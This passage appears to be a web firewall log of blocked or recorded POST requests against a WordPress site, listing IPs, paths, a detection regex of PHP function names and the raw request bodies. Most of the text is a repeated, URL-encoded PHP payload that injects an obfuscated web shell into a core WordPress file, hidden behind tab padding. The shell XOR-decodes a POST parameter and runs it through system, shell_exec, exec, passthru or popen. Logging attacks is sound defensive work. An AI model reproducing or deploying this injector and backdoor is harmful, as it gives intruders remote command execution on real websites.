%2524app_initializer3%2528%2524mrk%252C%2520%2524data_chunk_rec%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_chunk_rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer4%2529%2529%2520%257B%2520%2524app_initializer4%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer5%2529%2520%2526%2526%2520function_exists%2528%2524app_initializer6%2529%2520%2526%2526%2520function_exists%2528%2524app_initializer7%2529%2529%2520%257B%2520%2524element_ptr%2520%253D%2520%2524app_initializer5%2528%2524mrk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524element_ptr%2529%2520%257B%2520%2524pset_component%2520%253D%2520%2524app_initializer6%2528%2524element_ptr%2529%253B%2520%2524app_initializer7%2528%2524element_ptr%2529%253B%2520print%2520%2524pset_component%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:5308\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpKZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nqs=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/archives.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524app_initializer5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520%2524app_initializer6%2520%253D%2520%2522%255Cx73t%255Cx72%255Cx65a%255Cx6D%255Cx5Fge%255Cx74%255Cx5F%255Cx63%255Cx6Fn%255Cx74ents%2522%253B%2520%2524app_initializer7%2520%253D%2520%2522p%255Cx63l%255Cx6F%255Cx73e%2522%253B%2520%2524framework%2520%253D%2520%2522h%255Cx65x2bi%255Cx6E%2522%253B%2520%2524app_initializer1%2520%253D%2520%2522system%2522%253B%2520%2524app_initializer2%2520%253D%2520%2522s%255Cx68ell_%255Cx65%255Cx78%255Cx65c%2522%253B%2520%2524app_initializer3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524app_initializer4%2520%253D%2520%2522p%255Cx61ss%255Cx74h%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524rec%2520%252C%2520%2524element%2520%2529%2520%257B%2520%2524ptr%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520do%257B%2520%2524ptr.%253Dchr%2528ord%2528%2524rec%255B%2524e%255D%2529%255E%2524element%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520while%2528%2524e%253Cstrlen%2528%2524rec%2529%2529%253B%2520return%2520%2524ptr%253B%2520%257D%2520%2524mrk%2520%253D%2520%2524framework%2528%2524_POST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%253B%2520%2524mrk%2520%253D%2520service_registry%2528%2524mrk%252C%252085%2529%253B%2520if%2520%2528function_exists%2528%2524app_initializer1%2529%2529%2520%257B%2520%2524app_initializer1%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer2%2529%2529%2520%257B%2520print%2520%2524app_initializer2%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer3%2529%2529%2520%257B%2520%2524app_initializer3%2528%2524mrk%252C%2520%2524data_chunk_rec%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_chunk_rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer4%2529%2529%2520%257B%2520%2524app_initializer4%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer5%2529%2520%2526%2526%2520function_exists%2528%2524app_initializer6%2529%2520%2526%2526%2520function_exists%2528%2524app_initializer7%2529%2529%2520%257B%2520%2524element_ptr%2520%253D%2520%2524app_initializer5%2528%2524mrk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524element_ptr%2529%2520%257B%2520%2524pset_component%2520%253D%2520%2524app_initializer6%2528%2524element_ptr%2529%253B%2520%2524app_initializer7%2528%2524element_ptr%2529%253B%2520print%2520%2524pset_component%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:37:53","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/archives.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524app_initializer5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520%2524app_initializer6%2520%253D%2520%2522%255Cx73t%255Cx72%255Cx65a%255Cx6D%255Cx5Fge%255Cx74%255Cx5F%255Cx63%255Cx6Fn%255Cx74ents%2522%253B%2520%2524app_initializer7%2520%253D%2520%2522p%255Cx63l%255Cx6F%255Cx73e%2522%253B%2520%2524framework%2520%253D%2520%2522h%255Cx65x2bi%255Cx6E%2522%253B%2520%2524app_initializer1%2520%253D%2520%2522system%2522%253B%2520%2524app_initializer2%2520%253D%2520%2522s%255Cx68ell_%255Cx65%255Cx78%255Cx65c%2522%253B%2520%2524app_initializer3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524app_initializer4%2520%253D%2520%2522p%255Cx61ss%255Cx74h%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524rec%2520%252C%2520%2524element%2520%2529%2520%257B%2520%2524ptr%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520do%257B%2520%2524ptr.%253Dchr%2528ord%2528%2524rec%255B%2524e%255D%2529%255E%2524element%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520while%2528%2524e%253Cstrlen%2528%2524rec%2529%2529%253B%2520return%2520%2524ptr%253B%2520%257D%2520%2524mrk%2520%253D%2520%2524framework%2528%2524_POST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%253B%2520%2524mrk%2520%253D%2520service_registry%2528%2524mrk%252C%252085%2529%253B%2520if%2520%2528function_exists%2528%2524app_initializer1%2529%2529%2520%257B%2520%2524app_initializer1%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer2%2529%2529%2520%257B%2520print%2520%2524app_initializer2%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer3%2529%2529%2520%257B%2520%2524app_initializer3%2528%2524mrk%252C%2520%2524data_chunk_rec%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_chunk_rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer4%2529%2529%2520%257B%2520%2524app_initializer4%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer5%2529%2520%2526%2526%2520function_exists%2528%2524app_initializer6%2529%2520%2526%2526%2520function_exists%2528%2524app_initializer7%2529%2529%2520%257B%2520%2524element_ptr%2520%253D%2520%2524app_initializer5%2528%2524mrk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524element_ptr%2529%2520%257B%2520%2524pset_component%2520%253D%2520%2524app_initializer6%2528%2524element_ptr%2529%253B%2520%2524app_initializer7%2528%2524element_ptr%2529%253B%2520print%2520%2524pset_component%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-fetch-site:none\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\ncontent-length:5331\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\naccept:*\/*\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/archives.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524app_initializer5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520%2524app_initializer6%2520%253D%2520%2522%255Cx73t%255Cx72%255Cx65a%255Cx6D%255Cx5Fge%255Cx74%255Cx5F%255Cx63%255Cx6Fn%255Cx74ents%2522%253B%2520%2524app_initializer7%2520%253D%2520%2522p%255Cx63l%255Cx6F%255Cx73e%2522%253B%2520%2524framework%2520%253D%2520%2522h%255Cx65x2bi%255Cx6E%2522%253B%2520%2524app_initializer1%2520%253D%2520%2522system%2522%253B%2520%2524app_initializer2%2520%253D%2520%2522s%255Cx68ell_%255Cx65%255Cx78%255Cx65c%2522%253B%2520%2524app_initializer3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524app_initializer4%2520%253D%2520%2522p%255Cx61ss%255Cx74h%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524rec%2520%252C%2520%2524element%2520%2529%2520%257B%2520%2524ptr%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520do%257B%2520%2524ptr.%253Dchr%2528ord%2528%2524rec%255B%2524e%255D%2529%255E%2524element%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520while%2528%2524e%253Cstrlen%2528%2524rec%2529%2529%253B%2520return%2520%2524ptr%253B%2520%257D%2520%2524mrk%2520%253D%2520%2524framework%2528%2524_POST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%253B%2520%2524mrk%2520%253D%2520service_registry%2528%2524mrk%252C%252085%2529%253B%2520if%2520%2528function_exists%2528%2524app_initializer1%2529%2529%2520%257B%2520%2524app_initializer1%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer2%2529%2529%2520%257B%2520print%2520%2524app_initializer2%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer3%2529%2529%2520%257B%2520%2524app_initializer3%2528%2524mrk%252C%2520%2524data_chunk_rec%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_chunk_rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer4%2529%2529%2520%257B%2520%2524app_initializer4%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer5%2529%2520%2526%2526%2520function_exists%2528%2524app_initializer6%2529%2520%2526%2526%2520function_exists%2528%2524app_initializer7%2529%2529%2520%257B%2520%2524element_ptr%2520%253D%2520%2524app_initializer5%2528%2524mrk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524element_ptr%2529%2520%257B%2520%2524pset_component%2520%253D%2520%2524app_initializer6%2528%2524element_ptr%2529%253B%2520%2524app_initializer7%2528%2524element_ptr%2529%253B%2520print%2520%2524pset_component%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:37:56","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Rc:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/archives.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524app_initializer5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520%2524app_initializer6%2520%253D%2520%2522%255Cx73t%255Cx72%255Cx65a%255Cx6D%255Cx5Fge%255Cx74%255Cx5F%255Cx63%255Cx6Fn%255Cx74ents%2522%253B%2520%2524app_initializer7%2520%253D%2520%2522p%255Cx63l%255Cx6F%255Cx73e%2522%253B%2520%2524framework%2520%253D%2520%2522h%255Cx65x2bi%255Cx6E%2522%253B%2520%2524app_initializer1%2520%253D%2520%2522system%2522%253B%2520%2524app_initializer2%2520%253D%2520%2522s%255Cx68ell_%255Cx65%255Cx78%255Cx65c%2522%253B%2520%2524app_initializer3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524app_initializer4%2520%253D%2520%2522p%255Cx61ss%255Cx74h%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524rec%2520%252C%2520%2524element%2520%2529%2520%257B%2520%2524ptr%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520do%257B%2520%2524ptr.%253Dchr%2528ord%2528%2524rec%255B%2524e%255D%2529%255E%2524element%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520while%2528%2524e%253Cstrlen%2528%2524rec%2529%2529%253B%2520return%2520%2524ptr%253B%2520%257D%2520%2524mrk%2520%253D%2520%2524framework%2528%2524_POST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%253B%2520%2524mrk%2520%253D%2520service_registry%2528%2524mrk%252C%252085%2529%253B%2520if%2520%2528function_exists%2528%2524app_initializer1%2529%2529%2520%257B%2520%2524app_initializer1%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer2%2529%2529%2520%257B%2520print%2520%2524app_initializer2%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer3%2529%2529%2520%257B%2520%2524app_initializer3%2528%2524mrk%252C%2520%2524data_chunk_rec%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_chunk_rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer4%2529%2529%2520%257B%2520%2524app_initializer4%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer5%2529%2520%2526%2526%2520function_exists%2528%2524app_initializer6%2529%2520%2526%2526%2520function_exists%2528%2524app_initializer7%2529%2529%2520%257B%2520%2524element_ptr%2520%253D%2520%2524app_initializer5%2528%2524mrk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524element_ptr%2529%2520%257B%2520%2524pset_component%2520%253D%2520%2524app_initializer6%2528%2524element_ptr%2529%253B%2520%2524app_initializer7%2528%2524element_ptr%2529%253B%2520print%2520%2524pset_component%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHzZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:5308\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nsec-fetch-mode:navigate\naccept:*\/*\n\nRc=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/archives.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524app_initializer5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520%2524app_initializer6%2520%253D%2520%2522%255Cx73t%255Cx72%255Cx65a%255Cx6D%255Cx5Fge%255Cx74%255Cx5F%255Cx63%255Cx6Fn%255Cx74ents%2522%253B%2520%2524app_initializer7%2520%253D%2520%2522p%255Cx63l%255Cx6F%255Cx73e%2522%253B%2520%2524framework%2520%253D%2520%2522h%255Cx65x2bi%255Cx6E%2522%253B%2520%2524app_initializer1%2520%253D%2520%2522system%2522%253B%2520%2524app_initializer2%2520%253D%2520%2522s%255Cx68ell_%255Cx65%255Cx78%255Cx65c%2522%253B%2520%2524app_initializer3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524app_initializer4%2520%253D%2520%2522p%255Cx61ss%255Cx74h%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524rec%2520%252C%2520%2524element%2520%2529%2520%257B%2520%2524ptr%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520do%257B%2520%2524ptr.%253Dchr%2528ord%2528%2524rec%255B%2524e%255D%2529%255E%2524element%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520while%2528%2524e%253Cstrlen%2528%2524rec%2529%2529%253B%2520return%2520%2524ptr%253B%2520%257D%2520%2524mrk%2520%253D%2520%2524framework%2528%2524_POST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%253B%2520%2524mrk%2520%253D%2520service_registry%2528%2524mrk%252C%252085%2529%253B%2520if%2520%2528function_exists%2528%2524app_initializer1%2529%2529%2520%257B%2520%2524app_initializer1%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer2%2529%2529%2520%257B%2520print%2520%2524app_initializer2%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer3%2529%2529%2520%257B%2520%2524app_initializer3%2528%2524mrk%252C%2520%2524data_chunk_rec%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_chunk_rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer4%2529%2529%2520%257B%2520%2524app_initializer4%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer5%2529%2520%2526%2526%2520function_exists%2528%2524app_initializer6%2529%2520%2526%2526%2520function_exists%2528%2524app_initializer7%2529%2529%2520%257B%2520%2524element_ptr%2520%253D%2520%2524app_initializer5%2528%2524mrk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524element_ptr%2529%2520%257B%2520%2524pset_component%2520%253D%2520%2524app_initializer6%2528%2524element_ptr%2529%253B%2520%2524app_initializer7%2528%2524element_ptr%2529%253B%2520print%2520%2524pset_component%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7